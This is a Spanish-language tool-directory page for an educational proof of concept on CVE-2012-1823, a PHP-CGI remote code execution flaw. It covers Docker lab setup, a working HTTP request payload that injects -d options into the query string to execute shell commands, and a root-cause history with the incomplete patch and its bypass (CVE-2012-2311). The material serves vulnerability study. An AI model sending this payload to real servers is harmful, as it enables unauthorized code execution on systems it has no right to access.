Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
PHP_CVE-2012-1823 — PoC educativo y análisis de CVE-2012-1823, una vulnerabilidad de ejecución remota de código en PHP-CGI. Incluye un entorno de prueba basado en Docker, demostración del exploit y un desglose técnico detallado de la causa raíz y las evasiones. | Kitploit
Herramientas/GitHubGitHub/cyberharsh/php_cve-2012-1823
Análisis de VulnerabilidadesAnálisis de CódigoExplotaciónExplotación de Aplicaciones WebPruebas de PenetraciónAprendizaje y Educación
GitHubcyberharsh/php_cve-2012-1823

PHP_CVE-2012-1823

PoC educativo y análisis de CVE-2012-1823, una vulnerabilidad de ejecución remota de código en PHP-CGI. Incluye un entorno de prueba basado en Docker, demostración del exploit y un desglose técnico detallado de la causa raíz y las evasiones.

Ver Repositorio
11hace 6 añosAún no revisado

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

Vulnerabilidad de ejecución remota de código en PHP-CGI (CVE-2012-1823)

Principio

  • Artículo de referencia http://eindbazen.net/2012/05/php-cgi-advisory-cve-2012-1823/
  • Versiones afectadas php < 5.3.12 o php < 5.4.2

Entorno de prueba

Compilación y ejecución del entorno:

root@kitploit:~
docker-compose build
docker-compose up -d

Una vez iniciado el entorno, visita http://your-ip:8080/ y verás el texto "Hello".

Accede a http://your-ip:8080/index.php?-s para que se muestre el código fuente, lo que confirma la existencia de la vulnerabilidad. Envía el siguiente paquete de datos y verás que el código en el Body se ha ejecutado:

root@kitploit:~
POST /index.php?-d+allow_url_include%3don+-d+auto_prepend_file%3dphp%3a//input HTTP/1.1
Host: example.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 31

<?php echo shell_exec("id"); ?>

Explicación de la vulnerabilidad

PHP SAPI y modos de ejecución

Primero, presentemos el modo de ejecución de PHP.

Descarga el código fuente de PHP y verás que hay un directorio llamado sapi. El rol de sapi en PHP es similar al de un "mensajero". Por ejemplo, en mi artículo "Análisis del protocolo Fastcgi && Vulnerabilidad de acceso no autorizado a PHP-FPM && Escritura de Exploit", el fpm que presenté recibe datos empaquetados por el contenedor web a través del protocolo fastcgi y los entrega al intérprete de PHP para su ejecución.

Además de fpm, el sapi más común es mod_php para Apache, que se utiliza para el intercambio de datos entre php y apache.

php-cgi también es un sapi. En tiempos antiguos, la ejecución de aplicaciones web era muy simple: el contenedor web recibía un paquete HTTP, obtenía el archivo solicitado por el usuario (script CGI), y luego bifurcaba un proceso hijo (intérprete) para ejecutar ese archivo. Después de obtener el resultado de la ejecución, lo devolvía directamente al usuario, y el proceso hijo del intérprete terminaba. La mayoría de las aplicaciones web basadas en lenguajes como bash, perl, etc., se ejecutaban de esta manera, conocida como CGI. Al instalar Apache, por defecto hay un directorio cgi-bin, donde originalmente se colocaban estos scripts CGI.

Pero el modo CGI tiene un defecto fatal: como todos sabemos, la creación y programación de procesos tienen un costo, y la cantidad de procesos no es ilimitada. Por lo tanto, los sitios web que se ejecutan en modo CGI generalmente no pueden manejar muchas solicitudes simultáneas, ya que cada solicitud generaría un proceso hijo, lo que podría saturar el servidor. Así surgió fastcgi, donde los procesos fastcgi pueden mantenerse ejecutándose en segundo plano, recibir paquetes de datos a través del protocolo fastcgi, ejecutar y devolver resultados, pero sin salir.

PHP tiene un sapi llamado php-cgi, que tiene dos funciones: proporcionar interacción en modo CGI y proporcionar interacción en modo fastcgi. Es decir, podemos hacer que el contenedor web bifurque directamente un proceso php-cgi para ejecutar un script, como en Perl; o podemos ejecutar en segundo plano php-cgi -b 127.0.0.1:9000 (php-cgi como gestor fastcgi) y hacer que el contenedor web interactúe con el puerto 9000 mediante el protocolo fastcgi.

Entonces, ¿qué es el fpm que mencioné antes? ¿Por qué PHP tiene dos gestores fastcgi? Efectivamente, PHP tiene dos gestores fastcgi. php-cgi puede ejecutarse en modo fastcgi, y fpm también se ejecuta en modo fastcgi. Pero fpm se introdujo a partir de la versión 5.3 de PHP y es un gestor fastcgi más eficiente. No voy a detallar sus múltiples ventajas; puedes revisar el código fuente si lo deseas. Debido a que fpm tiene más ventajas, cada vez más aplicaciones web utilizan php-fpm para ejecutar PHP.

Causa histórica

Volvamos a esta vulnerabilidad. CVE-2012-1823 es una vulnerabilidad que aparece en el sapi php-cgi. Arriba mencioné los dos modos de ejecución que ofrece php-cgi: CGI y fastcgi. Esta vulnerabilidad solo aparece en PHP ejecutado en modo CGI.

En pocas palabras, esta vulnerabilidad ocurre porque la querystring solicitada por el usuario se trata como un parámetro de php-cgi, lo que finalmente produce una serie de consecuencias.

Profundizando en el principio, la RFC3875 establece que cuando la querystring no contiene un signo = sin decodificar, la querystring debe pasarse como parámetro CGI. Por lo tanto, el servidor Apache implementó esta función según la especificación.

Pero PHP no prestó atención a esta regla de la RFC. Quizás alguna vez la notó y la manejó, impidiendo que se pasaran parámetros en el contexto web. Sin embargo, en 2004, un desarrollador expresó lo siguiente:

root@kitploit:~
From: Rasmus Lerdorf <rasmus <at> lerdorf.com>
Subject: [PHP-DEV] php-cgi command line switch memory check
Newsgroups: gmane.comp.php.devel
Date: 2004-02-04 23:26:41 GMT (7 years, 49 weeks, 3 days, 20 hours and 39 minutes ago)
 
In our SAPI cgi we have a check along these lines:
 
    if (getenv("SERVER_SOFTWARE")
        || getenv("SERVER_NAME")
        || getenv("GATEWAY_INTERFACE")
        || getenv("REQUEST_METHOD")) {
        cgi = 1;
    }
 
    if(!cgi) getopt(...)
 
As in, we do not parse command line args for the cgi binary if we are 
running in a web context.  At the same time our regression testing system 
tries to use the cgi binary and it sets these variables in order to 
properly test GET/POST requests.  From the regression testing system we 
use -d extensively to override ini settings to make sure our test 
environment is sane.  Of course these two ideas conflict, so currently our 
regression testing is somewhat broken.  We haven't noticed because we 
don't have many tests that have GET/POST data and we rarely build the cgi 
binary.
 
The point of the question here is if anybody remembers why we decided not 
to parse command line args for the cgi version?  I could easily see it 
being useful to be able to write a cgi script like:
 
  #!/usr/local/bin/php-cgi -d include_path=/path
  <?php
      ...
  ?>
 
and have it work both from the command line and from a web context.
 
As far as I can tell this wouldn't conflict with anything, but somebody at 
some point must have had a reason for disallowing this.
 
-Rasmus

Claramente, este desarrollador buscaba facilitar el uso de algo como #!/usr/local/bin/php-cgi -d include_path=/path para pruebas, y consideró que no se debería restringir que php-cgi aceptara argumentos de línea de comandos, además de que esta funcionalidad no entraba en conflicto con ningún otro código.

Por lo tanto, se eliminó if(!cgi) getopt(...).

Pero obviamente, según la explicación de la RFC sobre la línea de comandos, los argumentos de línea de comandos no solo se pueden pasar a php-cgi mediante #!/usr/local/bin/php-cgi -d include_path=/path, sino también a través de la querystring.

Esta es la causa histórica de esta vulnerabilidad.

Explotación de la vulnerabilidad

Entonces, con parámetros de línea de comandos controlables, ¿qué se puede hacer?

Al leer el código fuente, descubrí que en modo CGI están disponibles los siguientes parámetros:

  • -c Especifica la ubicación del archivo php.ini
  • -n No cargar el archivo php.ini
  • -d Especificar elementos de configuración
  • -b Iniciar un proceso fastcgi
  • -s Mostrar el código fuente del archivo
  • -T Ejecutar el archivo un número específico de veces
  • -h y -? Mostrar ayuda

La forma más simple de explotación, por supuesto, es usar -s para mostrar directamente el código fuente:

Pero los lectores que hayan leído mi artículo sobre fastcgi seguramente pensarán rápidamente en un método de explotación mejor: mediante el uso de -d para especificar auto_prepend_file, crear una vulnerabilidad de inclusión de archivos arbitrarios y ejecutar código arbitrario:

Nota: los espacios se reemplazan con + o %20, y = se reemplaza con codificación URL.

CVE-2012-2311

Después de que se descubriera esta vulnerabilidad, el equipo oficial de PHP la parcheó y lanzó las nuevas versiones 5.4.2 y 5.3.12. Sin embargo, la corrección no fue completa y se podía evitar, dando lugar a la vulnerabilidad CVE-2012-2311.

El método de corrección de PHP fue verificar el -:

root@kitploit:~
if(query_string = getenv("QUERY_STRING")) {
	decoded_query_string = strdup(query_string);
	php_url_decode(decoded_query_string, strlen(decoded_query_string));
	if(*decoded_query_string == '-' && strchr(decoded_query_string, '=') == NULL) {
		skip_getopt = 1;
	}
	free(decoded_query_string);
}

Se observa que se obtiene la querystring, se decodifica y si el primer carácter es -, se establece skip_getopt, es decir, no se obtienen los parámetros de línea de comandos.

La inseguridad de este método de corrección radica en que si el administrador encapsula php-cgi de alguna manera:

root@kitploit:~
#!/bin/sh

exec /usr/local/bin/php-cgi $*

Al usar un espacio en blanco seguido de -, también se pueden pasar parámetros. En ese caso, el primer carácter de la querystring sería un espacio en blanco, no -, eludiendo la verificación anterior.

Por lo tanto, en php 5.4.3 y php 5.3.13 se realizó una modificación adicional:

root@kitploit:~
if((query_string = getenv("QUERY_STRING")) != NULL && strchr(query_string, '=') == NULL) {
	/* we've got query string that has no = - apache CGI will pass it to command line */
	unsigned char *p;
	decoded_query_string = strdup(query_string);
	php_url_decode(decoded_query_string, strlen(decoded_query_string));
	for (p = decoded_query_string; *p &&  *p <= ' '; p++) {
		/* skip all leading spaces */
	}
	if(*p == '-') {
		skip_getopt = 1;
	}
	free(decoded_query_string);
}

Primero se saltan todos los caracteres de espacio en blanco (todos los caracteres menores o iguales al espacio) y luego se verifica si el primer carácter es -.

Descargar herramienta